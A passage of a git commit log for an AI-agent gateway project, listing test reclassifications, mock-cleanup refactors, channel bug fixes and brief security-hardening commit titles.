The sanitizer was only enabled for OpenRouter Gemini, not native Google.

Fixes #23392
2026-02-22 12:24:53 +01:00
Peter Steinberger
bf52273a58 test: harden flaky timeout-sensitive tests 2026-02-22 12:21:19 +01:00
Peter Steinberger
42f62821db fix: include shared runtime group-policy helper and coverage (#23367) (thanks @bmendonca3) 2026-02-22 12:21:04 +01:00
Peter Steinberger
777817392d fix: fail closed missing provider group policy across message channels (#23367) (thanks @bmendonca3) 2026-02-22 12:21:04 +01:00
Peter Steinberger
78c3c2a542 fix: stabilize flaky tests and sanitize directive-only chat tags 2026-02-22 12:19:33 +01:00
Peter Steinberger
7d09a9e74d test: update agent tool assertions and reclassify suites 2026-02-22 11:18:50 +00:00
Brian Mendonca
3700151ec0 Channels: fail closed when Slack/Discord config is missing 2026-02-22 12:18:43 +01:00
Peter Steinberger
fcb86408fd test: move embedded and tool agent suites out of e2e 2026-02-22 11:17:47 +00:00
Peter Steinberger
11546b1177 test(auth-choice): expand api provider dedupe coverage 2026-02-22 11:16:59 +00:00
Peter Steinberger
e441390fd1 test: reclassify agent local suites out of e2e 2026-02-22 11:16:37 +00:00
Peter Steinberger
fc60f4923a refactor(auth-choice): unify api-key resolution flows 2026-02-22 11:16:30 +00:00
Peter Steinberger
e2c7cf2f1a test: reclassify doctor command suites out of e2e 2026-02-22 11:12:48 +00:00
Peter Steinberger
895e6c4b9c test: move onboarding and sandbox command suites out of e2e 2026-02-22 11:10:05 +00:00
Peter Steinberger
08a5cba8af test: reclassify command config and channels suites 2026-02-22 11:09:43 +00:00
Ayaan Zaidi
8e00965618 test: use real SubsystemLogger in directive-tags test 2026-02-22 16:39:11 +05:30
Peter Steinberger
296b3f49ef refactor(bluebubbles): centralize private-api status handling 2026-02-22 12:08:41 +01:00
Peter Steinberger
817ca75cba test: move command status and health suites out of e2e 2026-02-22 11:07:46 +00:00
Peter Steinberger
ec36dd81a9 test: reclassify command helper suites out of e2e 2026-02-22 11:07:07 +00:00
Yuzuru Suzuki
6f7e5f92c3 fix: add operator.read and operator.write to default CLI scopes (#22582)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 8569fc88c9
Co-authored-by: YuzuruS <1485195+YuzuruS@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-22 16:36:18 +05:30
Peter Steinberger
ec0081ce9a test: move hooks and plugin local suites out of e2e 2026-02-22 11:05:53 +00:00
Peter Steinberger
4a2492496e test: move browser and web auto-reply local suites out of e2e 2026-02-22 11:05:26 +00:00
Peter Steinberger
585a143f21 test: reclassify config and channel monitor behavior suites 2026-02-22 11:04:58 +00:00
Peter Steinberger
2d133d3ec2 test: reclassify auto-reply behavior suites out of e2e 2026-02-22 11:04:10 +00:00
Peter Steinberger
b77e53da67 refactor(session): centralize transcript path option resolution 2026-02-22 12:02:38 +01:00
Peter Steinberger
1ad284a85f test: move local cli and config scenario suites out of e2e 2026-02-22 10:58:04 +00:00
Peter Steinberger
713e2928b2 test: move duplicate local scenario suites out of agents e2e 2026-02-22 10:56:58 +00:00
Peter Steinberger
bfada9e425 test: move more local agents helper suites out of e2e 2026-02-22 10:55:22 +00:00
Peter Steinberger
4267fc8593 test: reclassify pi embedded helper suites out of agents e2e 2026-02-22 10:53:50 +00:00
Peter Steinberger
adace58505 test: reclassify local helper suites out of agents e2e 2026-02-22 10:53:40 +00:00
Peter Steinberger
b98d3330f6 docs: update pty supervision test command paths 2026-02-22 10:48:37 +00:00
Peter Steinberger
1d4e9ad8d1 test: reclassify remaining bash suites as unit tests 2026-02-22 10:48:32 +00:00
Peter Steinberger
37f12eb7ee fix: align BlueBubbles private-api null fallback + warning (#23459) (thanks @echoVic) 2026-02-22 11:47:57 +01:00
echoVic
888b6bc948 fix(bluebubbles): treat null privateApiStatus as disabled, not enabled
Bug: privateApiStatus cache expires after 10 minutes, returning null.
The check '!== false' treats null as truthy, causing 500 errors when
trying to use Private API features that aren't actually available.

Root cause: In JavaScript, null !== false evaluates to true.

Fix: Changed all checks from '!== false' to '=== true', so null (cache
expired/unknown) is treated as disabled (safe default).

Files changed:
- extensions/bluebubbles/src/send.ts (line 376)
- extensions/bluebubbles/src/monitor-processing.ts (line 423)
- extensions/bluebubbles/src/attachments.ts (lines 210, 220)

Fixes #23393
2026-02-22 11:47:57 +01:00
Peter Steinberger
ab38e1e6b2 test: reclassify image tool suite as unit test 2026-02-22 10:47:16 +00:00
Peter Steinberger
812bf7c8e1 fix: add bindings comment regression test (#23458) (thanks @echoVic) 2026-02-22 11:47:11 +01:00
echoVic
56f01bc493 fix(config): add missing comment field to BindingsSchema
Strict validation (added in d1e9490f9) rejects the legitimate 'comment'
field on bindings. This field is used for annotations in config files.

Changes:
- BindingsSchema: added comment: z.string().optional()
- AgentBinding type: added comment?: string

Fixes #23385
2026-02-22 11:47:11 +01:00
Peter Steinberger
aa487bd4f3 test: reclassify bash pty suites as unit tests 2026-02-22 10:47:10 +00:00
Glucksberg
2739328508 fix(telegram): classify undici fetch errors as recoverable for retry (#16699)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 67b5bce44f
Co-authored-by: Glucksberg <80581902+Glucksberg@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-22 16:16:11 +05:30
Peter Steinberger
3c9f98452e test: reclassify tool-result persist hook suite as unit test 2026-02-22 10:46:02 +00:00
Peter Steinberger
047e18693e test: reclassify exec approval-id suite as unit test 2026-02-22 10:45:23 +00:00
Peter Steinberger
17a65a6f4c test: split pure docker exec arg checks from bash e2e suite 2026-02-22 10:44:40 +00:00
Peter Steinberger
239963ac44 perf(test): shrink bash command fixtures and polling windows 2026-02-22 10:43:22 +00:00
Peter Steinberger
1d7dbd8cd9 test: reclassify web fetch/readability suites as unit tests 2026-02-22 10:41:29 +00:00
Peter Steinberger
304eef575b test: reclassify sandbox and web/image tool suites as unit tests 2026-02-22 10:40:40 +00:00
Peter Steinberger
3b09a0d2d0 perf(test): trim bash e2e log fixtures and abort wait bounds 2026-02-22 10:39:18 +00:00
Peter Steinberger
c68bb8d6d5 test: stabilize bash e2e suites with explicit exec approvals mode 2026-02-22 10:37:44 +00:00
Peter Steinberger
38f02c7a32 fix(session): resolve agent session path with configured sessions dir
Co-authored-by: David Rudduck <david@rudduck.org.au>
2026-02-22 11:35:55 +01:00
Peter Steinberger
c283f87ab0 refactor: clarify strict loopback proxy audit rules 2026-02-22 11:35:08 +01:00
Peter Steinberger
97eb4af01e test: harden models-config env isolation list 2026-02-22 10:34:23 +00:00
Peter Steinberger
744df0fbe7 test: reclassify models-config suites from e2e to unit lane 2026-02-22 10:34:23 +00:00
Peter Steinberger
740fd7ae35 test: reclassify skills suites from e2e to unit lane 2026-02-22 10:34:23 +00:00
Peter Steinberger
5c57a45a59 fix: add non-streaming directive-tag regression tests (#23298) (thanks @SidQin-cyber) 2026-02-22 11:31:23 +01:00
SidQin-cyber
e6490732cd fix(gateway): strip directive tags from non-streaming webchat broadcasts
Closes #23053

The streaming path already strips [[reply_to_current]] and other
directive tags via stripInlineDirectiveTagsForDisplay, but the
non-streaming broadcastChatFinal path and the chat.inject path
sent raw message content to webchat clients, causing tags to
appear in rendered messages after streaming completes.
2026-02-22 11:31:23 +01:00
Peter Steinberger
c56ab39da5 perf(test): reduce bash e2e wait windows 2026-02-22 10:28:43 +00:00
Peter Steinberger
abff3f0f61 test: reclassify sessions_spawn lifecycle suite as unit test 2026-02-22 10:28:43 +00:00
Peter Steinberger
0b7c7ee1aa perf(test): speed up sessions_spawn lifecycle suite setup 2026-02-22 10:28:43 +00:00
Peter Steinberger
c962bcba37 test: reclassify sandbox merge and exec path suites as unit tests 2026-02-22 10:28:43 +00:00
Peter Steinberger
9ab7b85a66 perf(test): tighten background abort timing windows 2026-02-22 10:28:43 +00:00
Peter Steinberger
c995f9be07 test: reclassify mocked announce and sandbox suites as unit tests 2026-02-22 10:28:43 +00:00
Peter Steinberger
27f0d7ebcc test: reclassify auth-profile-rotation suite as unit test 2026-02-22 10:28:43 +00:00
Peter Steinberger
c0b1c10a08 test: reclassify mocked runner/safe-bins suites as unit tests 2026-02-22 10:28:43 +00:00
Peter Steinberger
a9b26d83de perf(test): narrow pi-embedded runner e2e import path 2026-02-22 10:28:42 +00:00
Peter Steinberger
2b0ca9447c perf(test): trim bash e2e sleep and poll windows 2026-02-22 10:28:42 +00:00
Peter Steinberger
c348a13640 perf(test): lower subagent fast-mode wait floors 2026-02-22 10:28:42 +00:00
Peter Steinberger
54e0786ba6 perf(test): reduce subagent announce fast-mode polling waits 2026-02-22 10:28:42 +00:00
Peter Steinberger
a96139e18c perf(test): mock compact module in auth rotation e2e 2026-02-22 10:28:42 +00:00
Peter Steinberger
eda941f395 perf(test): remove flaky transport timeout and dedupe safeBins checks 2026-02-22 10:28:42 +00:00
Peter Steinberger
d72b4ead18 perf(test): lower fast-mode nested output wait floor to 70ms 2026-02-22 10:28:42 +00:00
Peter Steinberger
7ccf62fb4c test(agents): remove dead shell-timeout override in safeBins suite 2026-02-22 10:28:42 +00:00
Peter Steinberger
60773c124e perf(test): lower fast-mode nested output wait floor to 80ms 2026-02-22 10:28:42 +00:00
Peter Steinberger
36375f121f perf(test): trim nested subagent output wait floor in fast mode 2026-02-22 10:28:42 +00:00
Peter Steinberger
2900eb5456 perf(test): trim background abort settle waits and dedupe cmd fixture 2026-02-22 10:28:42 +00:00
Peter Steinberger
7d13227d41 test(agents): dedupe auth profile rotation fixture setup 2026-02-22 10:28:42 +00:00
Peter Steinberger
6b5c20055b perf(test): speed subagent announce retry polling in fast mode 2026-02-22 10:28:42 +00:00
Peter Steinberger
8ad85de800 test(reply): align native trigger suite with fast-test fixture patterns 2026-02-22 10:28:42 +00:00
Peter Steinberger
9882bfe186 perf(test): compact remaining heartbeat fixture writes 2026-02-22 10:28:42 +00:00
Peter Steinberger
c8d473c8e8 test(heartbeat): use shared sandbox in sender target suite 2026-02-22 10:28:42 +00:00
Peter Steinberger
29e41d4c0a fix: land security audit severity + temp-path guard fixes (#23428) (thanks @bmendonca3) 2026-02-22 11:26:17 +01:00
Brian Mendonca
bc78b343ba Security: expand audit checks for mDNS and real-IP fallback 2026-02-22 11:26:17 +01:00
Peter Steinberger
b13fc7eccd docs(security): clarify workspace memory trust boundary 2026-02-22 11:22:29 +01:00
Peter Steinberger
1cd3b30907 fix: stop hardcoded channel fallback and auto-pick sole configured channel (#23357) (thanks @lbo728)
Co-authored-by: lbo728 <extreme0728@gmail.com>
2026-02-22 11:21:43 +01:00
Frank Yang
e33d7fcd13 fix(telegram): prevent update offset skipping queued updates (#23284)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 92efaf956b
Co-authored-by: frankekn <4488090+frankekn@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-22 15:50:33 +05:30
maweibin
98a03c490b Feat/logger support log level validation0222 (#23436)
* 1、环境变量**:新增 `OPENCLAW_LOG_LEVEL`,可取值 `silent|fatal|error|warn|info|debug|trace`。设置后同时覆盖**文件日志**与**控制台**的级别,优先级高于配置文件。
2、启动参数**:在 `openclaw gateway run` 上新增 `--log-level <level>`,对该次进程同时生效于文件与控制台;未传时仍使用环境变量或配置文件。

* fix(logging): make log-level override global and precedence-safe

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-02-22 11:15:13 +01:00
Peter Steinberger
bf56196de3 fix: tighten feishu dedupe boundary (#23377) (thanks @SidQin-cyber) 2026-02-22 11:13:40 +01:00
SidQin-cyber
9e5e555ba3 fix(feishu): address dedup race condition, namespace isolation, and cache staleness
- Prefix memoryCache keys with namespace to prevent cross-account false
  positives when different accounts receive the same message_id
- Add inflight tracking map to prevent TOCTOU race where concurrent
  async calls for the same message both pass the check and both proceed
- Remove expired-entry deletion from has() to avoid silent cache/disk
  divergence; actual cleanup happens probabilistically inside record()
- Add time-based cache invalidation (30s) to DedupStore.load() so
  external writes are eventually picked up
- Refresh cacheLoadedAt after flush() so we don't immediately re-read
  data we just wrote

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-02-22 11:13:40 +01:00
SidQin-cyber
9a8179fd59 feat(feishu): persistent message deduplication to prevent duplicate replies
Closes #23369

Feishu may redeliver the same message during WebSocket reconnects or process
restarts.  The existing in-memory dedup map is lost on restart, so duplicates
slip through.

This adds a dual-layer dedup strategy:
- Memory cache (fast synchronous path, unchanged capacity)
- Filesystem store (~/.openclaw/feishu/dedup/) that survives restarts

TTL is extended from 30 min to 24 h.  Disk writes use atomic rename and
probabilistic cleanup to keep each per-account file under 10 k entries.
Disk errors are caught and logged — message handling falls back to
memory-only behaviour so it is never blocked.
2026-02-22 11:13:40 +01:00
Peter Steinberger
73804abcec fix(feishu): avoid template tmpdir join in dedup state path (#23398) 2026-02-22 11:12:01 +01:00
Peter Steinberger
bfc9ecf32e test: harden temp path guard detection (#23398) 2026-02-22 11:12:01 +01:00
Peter Steinberger
57ce7214d2 test: stabilize temp-path guard across runtimes (#23398) 2026-02-22 11:12:01 +01:00
Peter Steinberger
1b327da6e3 fix: harden exec sandbox fallback semantics (#23398) (thanks @bmendonca3) 2026-02-22 11:12:01 +01:00
Brian Mendonca
c76a47cce2 Exec: fail closed when sandbox host is unavailable 2026-02-22 11:12:01 +01:00
Peter Steinberger
5a0032de3e refactor(signal): extract daemon lifecycle and typed exit handling 2026-02-22 11:09:10 +01:00
Peter Steinberger
602a1ebd55 fix: handle intentional signal daemon shutdown on abort (#23379) (thanks @frankekn) 2026-02-22 10:59:34 +01:00
Frank Yang
1051f42f96 fix(stability): patch regex retries and timeout abort handling 2026-02-22 10:59:34 +01:00
Vignesh Natarajan
99a2f5379e Memory/QMD: normalize Han-script BM25 search queries 2026-02-22 01:53:00 -08:00
Peter Steinberger
9f0b6a8c92 fix: harden ACP gateway startup sequencing (#23390) (thanks @janckerchen) 2026-02-22 10:47:38 +01:00
janckerchen
7499e0f619 fix(acp): wait for gateway connection before processing ACP messages
- Move gateway.start() before AgentSideConnection creation
- Wait for hello message to confirm connection is established
- This fixes issues where messages were processed before gateway was ready

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-22 10:47:38 +01:00
Peter Steinberger
59807efa31 refactor(plugin-sdk): unify channel dedupe primitives 2026-02-22 10:46:34 +01:00
Peter Steinberger
edaa5ef7a5 refactor(gateway): simplify restart flow and expand lock tests 2026-02-22 10:44:47 +01:00
Peter Steinberger
bd4f670544 refactor: simplify windows ACL parsing and expand coverage 2026-02-22 10:43:03 +01:00
Peter Steinberger
9b9cc44a4e fix: finalize modelByChannel validator landing (#23412) (thanks @ProspectOre) 2026-02-22 10:41:40 +01:00
Peter Steinberger
6dad6a8cd0 fix: cover channels.modelByChannel validation/auto-enable 2026-02-22 10:41:40 +01:00
pickaxe
d79f10297f also skip modelByChannel in plugin-auto-enable channel iteration
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-22 10:41:40 +01:00
pickaxe
0d93c9f759 fix: include modelByChannel in config validator allowedChannels
The hand-written config validator rejects `channels.modelByChannel` as
"unknown channel id: modelByChannel" even though the Zod schema, TypeScript
types, runtime code, and CLI docs all treat it as valid. The `defaults`
meta-key was already whitelisted but `modelByChannel` was missed when
the feature was added in 2026.2.21.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-22 10:41:40 +01:00
Vignesh Natarajan
9325418098 chore: fix temp-path guard skip for *.test-helpers.ts 2026-02-22 01:41:06 -08:00
Peter Steinberger
dd07c06d00 fix: tighten gateway restart loop handling (#23416) (thanks @jeffwnli) 2026-02-22 10:38:32 +01:00
jeffr
26acb77450 fix: guard entry.ts top-level code with isMainModule to prevent duplicate gateway start
The bundler exports shared symbols from dist/entry.js, so other chunks
import it as a dependency. When dist/index.js is the actual entry point
(e.g. systemd service), lazy module loading eventually imports entry.js,
triggering its unguarded top-level code which calls runCli(process.argv)
a second time. This starts a duplicate gateway that fails on lock/port
contention and crashes the process with exit(1), causing a restart loop.

Wrap all top-level executable code in an isMainModule() check so it only
runs when entry.ts is the actual main module, not when imported as a
shared dependency by the bundler.
2026-02-22 10:38:32 +01:00
jeffr
9c30243c8f fix: release gateway lock before spawning restart child
Move lock.release() before restartGatewayProcessWithFreshPid() so the
spawned child can immediately acquire the lock without racing against
a zombie parent. This eliminates the root cause of the restart loop
where the child times out waiting for a lock held by its now-dead parent.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-22 10:38:32 +01:00
jeffr
01bd83d644 fix: release gateway lock before process.exit in run-loop
process.exit() called from inside an async IIFE bypasses the outer
try/finally block that releases the gateway lock. This leaves a stale
lock file pointing to a zombie PID, preventing the spawned child or
systemctl restart from acquiring the lock. Release the lock explicitly
before calling exit in both the restart-spawned and stop code paths.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-22 10:38:32 +01:00
jeffr
6eaf2baa57 fix: detect zombie processes in isPidAlive on Linux
kill(pid, 0) succeeds for zombie processes, causing the gateway lock
to treat a zombie lock owner as alive. Read /proc/<pid>/status on
Linux to check for 'Z' (zombie) state before reporting the process
as alive. This prevents the lock from being held indefinitely by a
zombie process during gateway restart.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-22 10:38:32 +01:00
SK Akram
85a3c0c818 fix: use SID-based ACL classification for non-English Windows 2026-02-22 10:37:34 +01:00
Peter Steinberger
35d5bd4e07 perf(test): shrink subagent announce fast-mode settle waits 2026-02-22 09:29:04 +00:00
Peter Steinberger
267d2193bf perf(test): compact heartbeat session fixture writes 2026-02-22 09:29:04 +00:00
Peter Steinberger
694a9eb6d3 test(heartbeat): reuse shared sandbox for ghost reminder scenarios 2026-02-22 09:29:04 +00:00
Peter Steinberger
c0995103a5 test(heartbeat): reuse shared temp sandbox in model override suite 2026-02-22 09:29:04 +00:00
Peter Steinberger
703f7213b6 test(agents): simplify subagent announce suite imports and call assertions 2026-02-22 09:29:04 +00:00
Peter Steinberger
4520fdda69 test(heartbeat): dedupe sandbox/session helpers and collapse ack cases 2026-02-22 09:29:04 +00:00
Vignesh Natarajan
b4cdffc7a4 TUI: make Ctrl+C exit behavior reliably responsive 2026-02-22 01:28:55 -08:00
Peter Steinberger
a96d89f343 refactor: unify exec wrapper resolution and parity fixtures 2026-02-22 10:26:44 +01:00
Peter Steinberger
f4dd0577b0 fix(security): block hook transform symlink escapes 2026-02-22 10:18:05 +01:00
Peter Steinberger
2c6dd84718 fix(gateway): remove hello-ok host and commit fields 2026-02-22 10:17:36 +01:00
Peter Steinberger
6c2e999776 refactor(security): unify secure id paths and guard weak patterns 2026-02-22 10:16:19 +01:00
Peter Steinberger
ae8d4a8eec fix(security): harden channel token and id generation 2026-02-22 10:16:02 +01:00
Peter Steinberger
c3e13175d2 perf(test): bypass queue debounce in fast mode and tighten announce defaults 2026-02-22 09:13:01 +00:00
Peter Steinberger
f101d59d57 feat(security): warn on dangerous config flags at startup 2026-02-22 10:11:46 +01:00
Peter Steinberger
de2e5c7b74 docs(security): clarify dangerous control-ui bypass policy 2026-02-22 10:11:46 +01:00
Vignesh Natarajan
b9e9fbc97c TUI: preserve RTL text order in terminal output 2026-02-22 01:10:03 -08:00
Peter Steinberger
aa2b16abe8 test(commands): replace subagent gateway reset with lightweight clear 2026-02-22 09:06:54 +00:00
Peter Steinberger
833d7574e7 test(agents): consolidate repeated announce deferral and fallback matrices 2026-02-22 09:05:56 +00:00
Peter Steinberger
27bd6f4c54 test(reply): use lightweight clears for runner-level mocks 2026-02-22 09:02:53 +00:00
Peter Steinberger
4985fb7f05 test(agents): remove overflow compaction mock reset dependency 2026-02-22 09:02:24 +00:00
Peter Steinberger
d9a7b447f5 test(agents): use lightweight clear for active-run announce mock 2026-02-22 09:01:55 +00:00
Peter Steinberger
ee3abb2278 test(reply): merge duplicate runReplyAgent streaming and fallback cases 2026-02-22 08:59:46 +00:00
Peter Steinberger
15657dd48d test(agents): collapse repeated announce direct-send scenarios 2026-02-22 08:57:39 +00:00
Peter Steinberger
53a7afe238 test(agents): unify hook thread-target announce assertions 2026-02-22 08:55:11 +00:00
Peter Steinberger
d625f888a9 test(core): dedupe command gating and trim announce reset overhead 2026-02-22 08:54:11 +00:00
Vignesh Natarajan
a4c107ee11 chore(test): harden models status mock restoration 2026-02-22 00:53:23 -08:00
Peter Steinberger
cf570d3b44 test(agents): avoid full mock resets in cli credential specs 2026-02-22 08:52:21 +00:00
Peter Steinberger
2b63592be5 fix: harden exec allowlist wrapper resolution 2026-02-22 09:52:02 +01:00
Peter Steinberger
48c0acc26f test(commands): dedupe subagent status assertions 2026-02-22 08:51:43 +00:00
Vignesh Natarajan
409b6a3321 chore(test): make shell-env trusted-shell assertion platform-aware 2026-02-22 00:51:13 -08:00
Peter Steinberger
8e7d8c3d8e docs(changelog): add shell startup env override fix note 2026-02-22 09:50:21 +01:00
Peter Steinberger
a1c8525766 test(agents): dedupe subagent announce direct-send variants 2026-02-22 08:49:33 +00:00
Peter Steinberger
cfb3cee7aa test(core): dedupe auth rotation and credential injection specs 2026-02-22 08:44:40 +00:00
Peter Steinberger
c2c7114ed3 fix(security): block HOME and ZDOTDIR env override injection 2026-02-22 09:42:55 +01:00
Peter Steinberger
ccc00d874c test(core): reduce mock reset overhead in targeted suites 2026-02-22 08:40:29 +00:00
Vignesh Natarajan
2a66c8d676 Agents/Subagents: honor subagent alsoAllow grants 2026-02-22 00:39:27 -08:00
Peter Steinberger
2d2e1c2403 test(core): use lightweight clear in cron, claude runner, and telegram delivery specs 2026-02-22 08:35:38 +00:00
Peter Steinberger
902544cf2d chore: remove dead macos relay and daemon code 2026-02-22 09:35:27 +01:00
Peter Steinberger
c99e7696e6 fix: decouple owner display secret from gateway auth token 2026-02-22 09:35:07 +01:00
Peter Steinberger
1e76ca593e test(core): tighten reset usage in auth, registry restart, and memory search 2026-02-22 08:34:20 +00:00
Peter Steinberger
1ba1c3f306 test(core): reduce reset overhead in messaging and agent e2e mocks 2026-02-22 08:33:06 +00:00
Peter Steinberger
ce09fe2bb7 test(config): use lightweight clear in session pruning e2e setup 2026-02-22 08:30:47 +00:00
Peter Steinberger
e67f813b0e test(core): continue reset-to-clear cleanup in subagent focus and web fetch 2026-02-22 08:30:05 +00:00
Peter Steinberger
7cac6bd85d test(core): continue mock reset reductions in auth, gateway, npm install 2026-02-22 08:28:50 +00:00
Peter Steinberger
c7606e7064 test(subagents): use lightweight clears in sessions spawn suites 2026-02-22 08:27:36 +00:00
Peter Steinberger
8887f41d7d refactor(gateway)!: remove legacy v1 device-auth handshake 2026-02-22 09:27:03 +01:00
Peter Steinberger
ed38b50fa5 test(commands): use lightweight clears in config snapshot specs 2026-02-22 08:26:11 +00:00
Peter Steinberger
b014c70292 test(core): trim reset usage in gateway and install source specs 2026-02-22 08:25:09 +00:00
Vignesh Natarajan
6ceadaa41f Agents: add fallback reply for tool-only completions 2026-02-22 00:23:31 -08:00
Peter Steinberger
8a0a28763e test(core): reduce mock reset overhead across unit and e2e specs 2026-02-22 08:22:58 +00:00
Peter Steinberger
d06ad6bc55 chore: remove verified dead code paths 2026-02-22 09:21:09 +01:00
Peter Steinberger
b967687e55 test(agents): keep targeted resets minimal in overflow retry spec 2026-02-22 08:19:00 +00:00
Peter Steinberger
45d1096951 test(memory): prefer clear over reset in qmd spawn setup 2026-02-22 08:18:28 +00:00
Peter Steinberger
5e9cbdc1a1 test(subagents): lighten session delete mock reset in announce spec 2026-02-22 08:17:26 +00:00
Peter Steinberger
b10b8dc8f8 test(agents): reduce reset overhead in session visibility and hooks specs 2026-02-22 08:16:45 +00:00
Peter Steinberger
991e3184b7 test(reply): replace heavy resets in media and runner helper specs 2026-02-22 08:15:28 +00:00
Peter Steinberger
089a78c061 test(slack): avoid redundant reset in slash metadata wait case 2026-02-22 08:14:16 +00:00
Peter Steinberger
6f3fed0470 test(slack): use lightweight clear in interactions modal-close case 2026-02-22 08:13:42 +00:00
Peter Steinberger
d6d73d0ed9 test(core): trim redundant test resets and use mockClear 2026-02-22 08:12:55 +00:00
Peter Steinberger
e893157600 test(core): use lightweight clears in runtime and telegram setup 2026-02-22 08:09:14 +00:00
Peter Steinberger
2557945a8d test(core): use lightweight clears in subagent and browser setup 2026-02-22 08:07:41 +00:00
Peter Steinberger
dd5774a300 test(agents): use lightweight clears in skills/sandbox setup 2026-02-22 08:06:06 +00:00
Peter Steinberger
6e253096ed test(core): use lightweight clears in command and dispatch setup 2026-02-22 08:06:06 +00:00
Peter Steinberger
96674ca301 fix(ci): add explicit mock types in pw-session mock setup 2026-02-22 08:05:12 +00:00
Peter Steinberger
008a8c9dc6 chore(docs): normalize security finding table formatting 2026-02-22 08:03:29 +00:00
Peter Steinberger
0194d50339 test: stabilize pw-session cdp mocking in parallel runs 2026-02-22 08:03:29 +00:00
Peter Steinberger
0c1a52307c fix: align draft/outbound typings and tests 2026-02-22 08:03:29 +00:00
Peter Steinberger
0ae7f962f9 test(commands): use lightweight clears in agents/channels setup 2026-02-22 08:02:03 +00:00
Peter Steinberger
d559f226b3 test(telegram): use lightweight clears in media handler setup 2026-02-22 08:01:16 +00:00
Peter Steinberger
9a0830bc7c test(infra): use lightweight clears in message action threading setup 2026-02-22 08:01:16 +00:00
Peter Steinberger
88c564f050 test(gateway): use lightweight clears in agent handler tests 2026-02-22 08:01:16 +00:00
Peter Steinberger
24f477625a test(infra): use lightweight clears in update startup mocks 2026-02-22 08:01:16 +00:00
Peter Steinberger
50c0616278 test(daemon): use lightweight clears in systemd mocks 2026-02-22 08:01:16 +00:00
Peter Steinberger
e16e7be85b test(core): trim redundant mock resets in heartbeat suites 2026-02-22 08:01:16 +00:00
Peter Steinberger
ccd96873b5 test(agents): drop redundant subagent registry cleanups 2026-02-22 08:01:16 +00:00
Peter Steinberger
f144a39bb7 test(agents): dedupe sessions_spawn allowlist reset setup 2026-02-22 08:01:16 +00:00
Peter Steinberger
089270e769 test(core): use lightweight clears in stable mock setup 2026-02-22 08:01:16 +00:00
Peter Steinberger
ad400afb24 test(agents): dedupe sessions_spawn e2e reset setup 2026-02-22 08:01:16 +00:00
Peter Steinberger
1f0695ba47 test(core): use lightweight clears in update, child adapter, and copilot token setup 2026-02-22 08:01:16 +00:00
Peter Steinberger
be5921e8fe test(gateway): use lightweight clears for openresponses agent fences 2026-02-22 08:01:16 +00:00
Peter Steinberger
682e42b0a1 test(gateway): use lightweight clears for openai http agent fences 2026-02-22 08:01:16 +00:00
Peter Steinberger
d624aa5ab2 test(gateway): use lightweight clears for chat-b reply spy fences 2026-02-22 08:01:16 +00:00
Peter Steinberger
b601f474f0 test(agents): use lightweight clears in skills install e2e setup 2026-02-22 08:01:16 +00:00
Peter Steinberger
0511e28a27 test(ui): use lightweight clears in theme and telegram media retry setup 2026-02-22 08:01:16 +00:00
Peter Steinberger
9daab2abb3 test(gateway): use lightweight clears in client close setup 2026-02-22 08:01:16 +00:00
Peter Steinberger
4ddaafee68 test(plugins): use lightweight clears in wired hooks setup 2026-02-22 08:01:16 +00:00
Peter Steinberger
9df896e5b9 test(auto-reply): use lightweight clears in agent runner setup 2026-02-22 08:01:16 +00:00
Peter Steinberger
751ca08728 test(agents): use lightweight clears in sandbox browser create setup 2026-02-22 08:01:16 +00:00
Peter Steinberger
b25b1812e8 test(auto-reply): use lightweight clears in dispatch setup 2026-02-22 08:01:16 +00:00
Peter Steinberger
56c57048cb test(gateway): use lightweight clears for hook cron run fences 2026-02-22 08:01:16 +00:00
Peter Steinberger
4cc975fec1 test(gateway): use lightweight clears in node event setup 2026-02-22 08:01:16 +00:00
Peter Steinberger
d9085a7704 test(gateway): use lightweight clears in node invoke wake setup 2026-02-22 08:01:16 +00:00
Peter Steinberger
c358ada510 test(gateway): use lightweight clears in push handler setup 2026-02-22 08:01:16 +00:00
Peter Steinberger
7adcf5a49e test(outbound): dedupe shared setup hooks in message e2e 2026-02-22 08:01:16 +00:00
Peter Steinberger
0889ea221d test(commands): use lightweight clears in doctor memory search setup 2026-02-22 08:01:15 +00:00
Peter Steinberger
2b24a44cd9 test(gateway): use lightweight clears in cron service setup 2026-02-22 08:01:15 +00:00
Peter Steinberger
d7f01c2c55 test(browser): use lightweight clears in server lifecycle setup 2026-02-22 08:01:15 +00:00
Peter Steinberger
6d74704d7a test(telegram): centralize native command session-meta mock setup 2026-02-22 08:01:15 +00:00
Peter Steinberger
babe1b0f26 test(agents): centralize sessions tool gateway mock reset 2026-02-22 08:00:41 +00:00
Peter Steinberger
8acf5ffca7 test(auto-reply): centralize subagent command test reset setup 2026-02-22 08:00:41 +00:00
Peter Steinberger
b56c07e991 test(agents): use lightweight clears in supervisor and session-status setup 2026-02-22 08:00:41 +00:00
Peter Steinberger
ba2790222d test(gateway): dedupe loopback cases and trim setup resets 2026-02-22 08:00:41 +00:00
Peter Steinberger
9f97555b5e refactor(security): unify hook rate-limit and hook module loading 2026-02-22 08:57:01 +01:00
Peter Steinberger
7cf280805c test: dedupe cron and slack monitor test harness setup 2026-02-22 07:52:12 +00:00
Peter Steinberger
3d03375043 fix(gateway): block avatar symlink escapes 2026-02-22 08:51:17 +01:00
Peter Steinberger
94e5a46187 test(telegram): dedupe native-command test setup 2026-02-22 07:48:43 +00:00
Peter Steinberger
cd7faea93b docs(changelog): note next npm release for hook auth fix 2026-02-22 08:48:13 +01:00
Vignesh Natarajan
6bf5e76be6 Agents: drop stale pre-compaction usage snapshots 2026-02-21 23:47:15 -08:00
Peter Steinberger
